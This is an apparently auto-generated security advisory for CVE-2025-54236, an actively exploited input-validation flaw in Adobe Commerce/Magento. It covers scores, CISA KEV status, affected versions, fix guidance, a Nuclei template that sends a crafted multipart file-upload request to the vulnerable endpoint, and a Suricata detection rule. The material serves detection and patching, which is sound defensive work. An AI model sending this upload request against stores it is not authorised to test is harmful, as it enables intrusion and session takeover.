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CVE-2025-54236: Adobe Commerce and Magento Improper Input Validation Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

Adobe Commerce versions 2.4.9-alpha2, 2.4.8-p2, 2.4.7-p7, 2.4.6-p12, 2.4.5-p14, 2.4.4-p15 and earlier are affected by an Improper Input Validation vulnerability. A successful attacker can abuse this to achieve session takeover, increasing the confidentiality, and integrity impact to high. Exploitation of this issue does not require user interaction.

Description quoted from the CVE record (assigned by adobe, published 2025-09-09).

Weakness: Improper Input Validation (CWE-20)

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability none. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since
2025-10-24
US federal deadline
2025-11-14
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2025-10942, CNNVD-202509-1392, EUVD-2025-27277, GHSA-wh92-6q6g-px7j, SNYK-PHP-MAGENTOCOMMUNITYEDITION-12925957

VEDAS cluster: VEDAS:DRAGONMARCH

Exploit Observer links 11 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (11)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (7)

Vulnerability databases and vendor advisories (9)

Catalogue entries, not exploit evidence.

News (1)

207 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.954
very likely to be attacked soon
VEDAS
0.989
strong exploit evidence
On CISA KEV
Yes, since 2025-10-24
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.1Added to CISA KEV 2025-10-24CVE-2025-54236 EPSS over time2025-092026-11-01
VEDAS (exploit evidence)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.9Added to CISA KEV 2025-10-24CVE-2025-54236 VEDAS over time2025-092026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.

Who is affected

ProductAffectedNot affected
Adobe Adobe Commerceup to and including 2.4.4-p15Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: adobe commerce, adobe commerce_b2b, adobe magento.

How to fix it

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

Adobe Commerce - Arbitrary File Upload

Adobe Commerce versions 2.4.9-alpha2, 2.4.8-p2, 2.4.7-p7, 2.4.6-p12, 2.4.5-p14, 2.4.4-p15 and earlier are affected by an Improper Input Validation vulnerability. A successful attacker can abuse this to achieve session takeover, increasing the confidentiality, and integrity impact to high.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (POST /customer/address_file/upload, GET /customer/address/viewfile/file/{{base64}}~~/); it decides using dsl matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2025-54236.yaml
Show the template (61 lines)
yaml
id: CVE-2025-54236

info:
  name: "Adobe Commerce - Arbitrary File Upload"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Adobe Commerce versions 2.4.9-alpha2, 2.4.8-p2, 2.4.7-p7, 2.4.6-p12, 2.4.5-p14, 2.4.4-p15 and earlier are
    affected by an Improper Input Validation vulnerability. A successful attacker can abuse this to achieve
    session takeover, increasing the confidentiality, and integrity impact to high.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-54236&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=adobecommerce&match=exact
  classification:
    cve-id: CVE-2025-54236
  metadata:
    verified: false
  tags: cve,cve2025,adobecommerce,file-upload,intrusive,auth-bypass,kev,vkev,vuln
variables:
  form_key: "{{rand_text_alphanumeric(16)}}"
  filename: "{{to_lower(rand_text_alpha(5))}}"
  marker: "{{randstr}}"
  base64: "{{base64(filename)}}"

http:
  - raw:
      - |
        POST /customer/address_file/upload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDNFoGI9h3cNjiBCQ
        Cookie: form_key={{form_key}}

        ------WebKitFormBoundaryDNFoGI9h3cNjiBCQ
        Content-Disposition: form-data; name="form_key"

        {{form_key}}
        ------WebKitFormBoundaryDNFoGI9h3cNjiBCQ
        Content-Disposition: form-data; name="custom_attributes[country_id]"; filename="{{filename}}"
        Content-Type: text/plain

        {{marker}}
        ------WebKitFormBoundaryDNFoGI9h3cNjiBCQ--

        {
          "name": "{{filename}}",
          "full_path": "{{filename}}",
          "type": "text/plain",
          "tmp_name": "{{filename}}",
          "error": 0,
          "size": 11,
          "file": "/t/e/{{filename}}",
          "url": "{{RootURL}}/customer/address/viewfile/file/{{base64}}~~/"
        }

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_any(body, "full_path","tmp_name","size","{{base64}}" )'
        condition: and

CVE-2025-54236.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2025-54236 Adobe Commerce - Arbitrary File Upload. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2025-54236 Adobe Commerce - Arbitrary File Upload"; flow:established,to_server; http.uri; content:"/customer/address_file/upload"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2025-54236; reference:url,https://www.exploit.observer/?keyword=CVE-2025-54236&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=adobecommerce&match=exact; sid:1009009; rev:1;)

CVE-2025-54236.rules on GitHub

References

Vendor advisories and patches

Exploits and technical analysis

Government sources

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.